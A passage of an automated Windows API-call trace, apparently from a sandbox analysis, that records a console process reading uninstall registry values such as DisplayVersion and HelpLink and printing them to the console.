out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.943] GetConsoleOutputCP () returned 0x1b5 [0149.943] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.943] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.943] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.943] GetProcessHeap () returned 0x3c0000 [0149.944] GetProcessHeap () returned 0x3c0000 [0149.944] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.944] GetProcessHeap () returned 0x3c0000 [0149.944] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.944] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.944] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.944] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x1a) returned 0x0 [0149.944] GetProcessHeap () returned 0x3c0000 [0149.944] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x1c) returned 0x3d5c60 [0149.944] GetProcessHeap () returned 0x3c0000 [0149.944] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60) returned 1 [0149.944] GetProcessHeap () returned 0x3c0000 [0149.944] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c60) returned 0x1c [0149.944] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c60, pcbData=0x29f780*=0x1a | out: pdwType=0x29f700*=0x1, pvData="14.10.25017", pcbData=0x29f780*=0x18) returned 0x0 [0149.944] __iob_func () returned 0x7fefd702a80 [0149.944] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.944] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.944] _fileno (_File=0x7fefd702ab0) returned 1 [0149.944] _errno () returned 0x204bb0 [0149.944] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.944] _errno () returned 0x204bb0 [0149.944] GetFileType (hFile=0x50) returned 0x1 [0149.944] lstrlenW (lpString=" ") returned 4 [0149.944] GetConsoleOutputCP () returned 0x1b5 [0149.944] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.944] GetConsoleOutputCP () returned 0x1b5 [0149.944] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.945] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.945] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.945] lstrlenW (lpString="DisplayVersion") returned 14 [0149.945] __iob_func () returned 0x7fefd702a80 [0149.945] _fileno (_File=0x7fefd702ab0) returned 1 [0149.945] _errno () returned 0x204bb0 [0149.945] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.945] _errno () returned 0x204bb0 [0149.945] GetFileType (hFile=0x50) returned 0x1 [0149.945] lstrlenW (lpString="DisplayVersion") returned 14 [0149.945] GetConsoleOutputCP () returned 0x1b5 [0149.945] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0149.945] GetConsoleOutputCP () returned 0x1b5 [0149.945] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0149.945] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0149.945] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.945] __iob_func () returned 0x7fefd702a80 [0149.945] _fileno (_File=0x7fefd702ab0) returned 1 [0149.945] _errno () returned 0x204bb0 [0149.945] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.945] _errno () returned 0x204bb0 [0149.945] GetFileType (hFile=0x50) returned 0x1 [0149.945] lstrlenW (lpString=" ") returned 4 [0149.945] GetConsoleOutputCP () returned 0x1b5 [0149.946] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.946] GetConsoleOutputCP () returned 0x1b5 [0149.946] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.946] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.946] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.946] __iob_func () returned 0x7fefd702a80 [0149.946] _fileno (_File=0x7fefd702ab0) returned 1 [0149.946] _errno () returned 0x204bb0 [0149.946] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.946] _errno () returned 0x204bb0 [0149.946] GetFileType (hFile=0x50) returned 0x1 [0149.946] lstrlenW (lpString="REG_SZ") returned 6 [0149.946] GetConsoleOutputCP () returned 0x1b5 [0149.946] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.946] GetConsoleOutputCP () returned 0x1b5 [0149.946] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.946] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.946] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.946] __iob_func () returned 0x7fefd702a80 [0149.946] _fileno (_File=0x7fefd702ab0) returned 1 [0149.946] _errno () returned 0x204bb0 [0149.947] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.947] _errno () returned 0x204bb0 [0149.947] GetFileType (hFile=0x50) returned 0x1 [0149.947] lstrlenW (lpString=" ") returned 4 [0149.947] GetConsoleOutputCP () returned 0x1b5 [0149.947] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.947] GetConsoleOutputCP () returned 0x1b5 [0149.947] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.947] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.947] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.947] __iob_func () returned 0x7fefd702a80 [0149.947] _fileno (_File=0x7fefd702ab0) returned 1 [0149.947] _errno () returned 0x204bb0 [0149.947] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.947] _errno () returned 0x204bb0 [0149.947] GetFileType (hFile=0x50) returned 0x1 [0149.947] lstrlenW (lpString="14.10.25017") returned 11 [0149.947] GetConsoleOutputCP () returned 0x1b5 [0149.947] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="14.10.25017", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0149.947] GetConsoleOutputCP () returned 0x1b5 [0149.948] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="14.10.25017", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="14.10.25017", lpUsedDefaultChar=0x0) returned 11 [0149.948] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0149.948] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.948] __iob_func () returned 0x7fefd702a80 [0149.948] _fileno (_File=0x7fefd702ab0) returned 1 [0149.948] _errno () returned 0x204bb0 [0149.948] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.948] _errno () returned 0x204bb0 [0149.948] GetFileType (hFile=0x50) returned 0x1 [0149.948] lstrlenW (lpString="\n") returned 1 [0149.948] GetConsoleOutputCP () returned 0x1b5 [0149.948] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.948] GetConsoleOutputCP () returned 0x1b5 [0149.948] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.948] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.948] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.948] GetProcessHeap () returned 0x3c0000 [0149.948] GetProcessHeap () returned 0x3c0000 [0149.948] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60) returned 1 [0149.948] GetProcessHeap () returned 0x3c0000 [0149.948] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c60) returned 0x1c [0149.948] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60 | out: hHeap=0x3c0000) returned 1 [0149.948] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpLink", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.948] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x5c) returned 0x0 [0149.949] GetProcessHeap () returned 0x3c0000 [0149.949] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x5e) returned 0x3db830 [0149.949] GetProcessHeap () returned 0x3c0000 [0149.949] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.949] GetProcessHeap () returned 0x3c0000 [0149.949] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x5e [0149.949] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x5c | out: pdwType=0x29f700*=0x2, pvData="http://go.microsoft.com/fwlink/?LinkId=133405", pcbData=0x29f780*=0x5c) returned 0x0 [0149.949] __iob_func () returned 0x7fefd702a80 [0149.949] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.949] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.949] _fileno (_File=0x7fefd702ab0) returned 1 [0149.949] _errno () returned 0x204bb0 [0149.949] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.949] _errno () returned 0x204bb0 [0149.949] GetFileType (hFile=0x50) returned 0x1 [0149.949] lstrlenW (lpString=" ") returned 4 [0149.949] GetConsoleOutputCP () returned 0x1b5 [0149.949] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.949] GetConsoleOutputCP () returned 0x1b5 [0149.949] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.949] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.949] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.949] lstrlenW (lpString="HelpLink") returned 8 [0149.949] __iob_func () returned 0x7fefd702a80 [0149.949] _fileno (_File=0x7fefd702ab0) returned 1 [0149.949] _errno () returned 0x204bb0 [0149.949] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.950] _errno () returned 0x204bb0 [0149.950] GetFileType (hFile=0x50) returned 0x1 [0149.950] lstrlenW (lpString="HelpLink") returned 8 [0149.950] GetConsoleOutputCP () returned 0x1b5 [0149.950] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.950] GetConsoleOutputCP () returned 0x1b5 [0149.950] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpLink", lpUsedDefaultChar=0x0) returned 8 [0149.950] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.950] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.950] __iob_func () returned 0x7fefd702a80 [0149.950] _fileno (_File=0x7fefd702ab0) returned 1 [0149.950] _errno () returned 0x204bb0 [0149.950] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.950] _errno () returned 0x204bb0 [0149.950] GetFileType (hFile=0x50) returned 0x1 [0149.950] lstrlenW (lpString=" ") returned 4 [0149.950] GetConsoleOutputCP () returned 0x1b5 [0149.950] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.950] GetConsoleOutputCP () returned 0x1b5 [0149.950] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.951] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.951] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.951] __iob_func () returned 0x7fefd702a80 [0149.951] _fileno (_File=0x7fefd702ab0) returned 1 [0149.951] _errno () returned 0x204bb0 [0149.951] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.951] _errno () returned 0x204bb0 [0149.951] GetFileType (hFile=0x50) returned 0x1 [0149.951] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0149.951] GetConsoleOutputCP () returned 0x1b5 [0149.951] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.951] GetConsoleOutputCP () returned 0x1b5 [0149.951] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0149.951] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.951] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.951] __iob_func () returned 0x7fefd702a80 [0149.951] _fileno (_File=0x7fefd702ab0) returned 1 [0149.951] _errno () returned 0x204bb0 [0149.951] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.951] _errno () returned 0x204bb0 [0149.951] GetFileType (hFile=0x50) returned 0x1 [0149.951] lstrlenW (lpString=" ") returned 4 [0149.951] GetConsoleOutputCP () returned 0x1b5 [0149.952] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.952] GetConsoleOutputCP () returned 0x1b5 [0149.952] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.952] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.952] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.952] __iob_func () returned 0x7fefd702a80 [0149.952] _fileno (_File=0x7fefd702ab0) returned 1 [0149.952] _errno () returned 0x204bb0 [0149.952] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.952] _errno () returned 0x204bb0 [0149.952] GetFileType (hFile=0x50) returned 0x1 [0149.952] lstrlenW (lpString="http://go.microsoft.com/fwlink/?LinkId=133405") returned 45 [0149.952] GetConsoleOutputCP () returned 0x1b5 [0149.952] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=133405", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0149.952] GetConsoleOutputCP () returned 0x1b5 [0149.952] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=133405", cchWideChar=45, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://go.microsoft.com/fwlink/?LinkId=133405", lpUsedDefaultChar=0x0) returned 45 [0149.952] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 45 [0149.952] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.952] __iob_func () returned 0x7fefd702a80 [0149.952] _fileno (_File=0x7fefd702ab0) returned 1 [0149.952] _errno () returned 0x204bb0 [0149.952] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.952] _errno () returned 0x204bb0 [0149.953] GetFileType (hFile=0x50) returned 0x1 [0149.953] lstrlenW (lpString="\n") returned 1 [0149.953] GetConsoleOutputCP () returned 0x1b5 [0149.953] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.953] GetConsoleOutputCP () returned 0x1b5 [0149.953] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.953] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.953] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.953] GetProcessHeap () returned 0x3c0000 [0149.953] GetProcessHeap () returned 0x3c0000 [0149.953] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.953] GetProcessHeap () returned 0x3c0000 [0149.953] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x5e [0149.953] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.953] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpTelephone", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.953] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.953] GetProcessHeap () returned 0x3c0000 [0149.953] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.953] GetProcessHeap () returned 0x3c0000 [0149.953] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.953] GetProcessHeap () returned 0x3c0000 [0149.953] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.953] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.953] __iob_func () returned 0x7fefd702a80 [0149.954] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.954] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.954] _fileno (_File=0x7fefd702ab0) returned 1 [0149.954] _errno () returned 0x204bb0 [0149.954] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.954] _errno () returned 0x204bb0 [0149.954] GetFileType (hFile=0x50) returned 0x1 [0149.954] lstrlenW (lpString=" ") returned 4 [0149.954] GetConsoleOutputCP () returned 0x1b5 [0149.954] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.954] GetConsoleOutputCP () returned 0x1b5 [0149.954] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.954] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.954] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.954] lstrlenW (lpString="HelpTelephone") returned 13 [0149.954] __iob_func () returned 0x7fefd702a80 [0149.954] _fileno (_File=0x7fefd702ab0) returned 1 [0149.954] _errno () returned 0x204bb0 [0149.954] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.954] _errno () returned 0x204bb0 [0149.954] GetFileType (hFile=0x50) returned 0x1 [0149.954] lstrlenW (lpString="HelpTelephone") returned 13 [0149.954] GetConsoleOutputCP () returned 0x1b5 [0149.955] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.955] GetConsoleOutputCP () returned 0x1b5 [0149.955] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpTelephone", lpUsedDefaultChar=0x0) returned 13 [0149.955] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.955] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.955] __iob_func () returned 0x7fefd702a80 [0149.955] _fileno (_File=0x7fefd702ab0) returned 1 [0149.955] _errno () returned 0x204bb0 [0149.955] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.955] _errno () returned 0x204bb0 [0149.955] GetFileType (hFile=0x50) returned 0x1 [0149.955] lstrlenW (lpString=" ") returned 4 [0149.955] GetConsoleOutputCP () returned 0x1b5 [0149.955] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.955] GetConsoleOutputCP () returned 0x1b5 [0149.955] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.955] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.955] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.955] __iob_func () returned 0x7fefd702a80 [0149.955] _fileno (_File=0x7fefd702ab0) returned 1 [0149.955] _errno () returned 0x204bb0 [0149.955] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.956] _errno () returned 0x204bb0 [0149.956] GetFileType (hFile=0x50) returned 0x1 [0149.956] lstrlenW (lpString="REG_SZ") returned 6 [0149.956] 